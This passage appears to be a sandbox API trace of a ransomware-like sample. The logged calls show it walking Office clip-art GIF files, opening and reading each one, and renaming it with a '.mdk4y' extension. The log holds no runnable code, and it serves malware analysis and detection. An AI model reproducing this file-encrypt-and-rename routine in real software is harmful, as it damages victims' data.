Office\\CLIPART\\PUB60COR\\WB01300_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.mdk4y")) returned 1 [0175.505] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.505] AreFileApisANSI () returned 1 [0175.505] GetACP () returned 0x4e4 [0175.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01301_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01301_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.505] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.505] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a9, lpOverlapped=0x0) returned 1 [0175.506] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.mdk4y")) returned 1 [0175.507] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.507] AreFileApisANSI () returned 1 [0175.507] GetACP () returned 0x4e4 [0175.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01304G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01304G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.507] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.508] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2076, lpOverlapped=0x0) returned 1 [0175.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.mdk4y")) returned 1 [0175.510] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.510] AreFileApisANSI () returned 1 [0175.510] GetACP () returned 0x4e4 [0175.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01330_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01330_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.510] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.512] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x172, lpOverlapped=0x0) returned 1 [0175.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.mdk4y")) returned 1 [0175.513] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.513] AreFileApisANSI () returned 1 [0175.514] GetACP () returned 0x4e4 [0175.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01734_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01734_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.514] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.515] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x899, lpOverlapped=0x0) returned 1 [0175.516] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.mdk4y")) returned 1 [0175.516] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.517] AreFileApisANSI () returned 1 [0175.517] GetACP () returned 0x4e4 [0175.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01740_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01740_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.517] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.517] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c3, lpOverlapped=0x0) returned 1 [0175.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.mdk4y")) returned 1 [0175.520] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.520] AreFileApisANSI () returned 1 [0175.520] GetACP () returned 0x4e4 [0175.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01742_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01742_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.520] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.520] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x253, lpOverlapped=0x0) returned 1 [0175.521] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.mdk4y")) returned 1 [0175.522] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.522] AreFileApisANSI () returned 1 [0175.522] GetACP () returned 0x4e4 [0175.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01743_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01743_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.522] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.522] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d5, lpOverlapped=0x0) returned 1 [0175.524] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.mdk4y")) returned 1 [0175.524] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.524] AreFileApisANSI () returned 1 [0175.524] GetACP () returned 0x4e4 [0175.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01744_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01744_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.524] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.525] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31f, lpOverlapped=0x0) returned 1 [0175.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.mdk4y")) returned 1 [0175.545] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.545] AreFileApisANSI () returned 1 [0175.545] GetACP () returned 0x4e4 [0175.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01745_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01745_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.546] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.546] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5ac, lpOverlapped=0x0) returned 1 [0175.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.mdk4y")) returned 1 [0175.548] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.548] AreFileApisANSI () returned 1 [0175.548] GetACP () returned 0x4e4 [0175.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01746_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01746_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.549] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.550] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2e2, lpOverlapped=0x0) returned 1 [0175.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.mdk4y")) returned 1 [0175.552] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.552] AreFileApisANSI () returned 1 [0175.552] GetACP () returned 0x4e4 [0175.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01747_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01747_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.552] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.552] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x387, lpOverlapped=0x0) returned 1 [0175.553] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.mdk4y")) returned 1 [0175.554] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.554] AreFileApisANSI () returned 1 [0175.554] GetACP () returned 0x4e4 [0175.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01748_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01748_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.555] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d7, lpOverlapped=0x0) returned 1 [0175.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.mdk4y")) returned 1 [0175.568] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.568] AreFileApisANSI () returned 1 [0175.568] GetACP () returned 0x4e4 [0175.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01749_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01749_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.568] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.569] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b4, lpOverlapped=0x0) returned 1 [0175.570] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.mdk4y")) returned 1 [0175.571] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.571] AreFileApisANSI () returned 1 [0175.571] GetACP () returned 0x4e4 [0175.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01750_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01750_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.571] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.572] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x494, lpOverlapped=0x0) returned 1 [0175.573] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.mdk4y")) returned 1 [0175.574] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.574] AreFileApisANSI () returned 1 [0175.574] GetACP () returned 0x4e4 [0175.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01751_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01751_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.574] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.574] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b9, lpOverlapped=0x0) returned 1 [0175.576] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.mdk4y")) returned 1 [0175.576] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.576] AreFileApisANSI () returned 1 [0175.576] GetACP () returned 0x4e4 [0175.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01770_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01770_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.577] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x304, lpOverlapped=0x0) returned 1 [0175.579] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.mdk4y")) returned 1 [0175.579] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.579] AreFileApisANSI () returned 1 [0175.579] GetACP () returned 0x4e4 [0175.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01838_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01838_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.579] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.580] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe44, lpOverlapped=0x0) returned 1 [0175.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.mdk4y")) returned 1 [0175.582] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.582] AreFileApisANSI () returned 1 [0175.582] GetACP () returned 0x4e4 [0175.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01839_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01839_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.582] 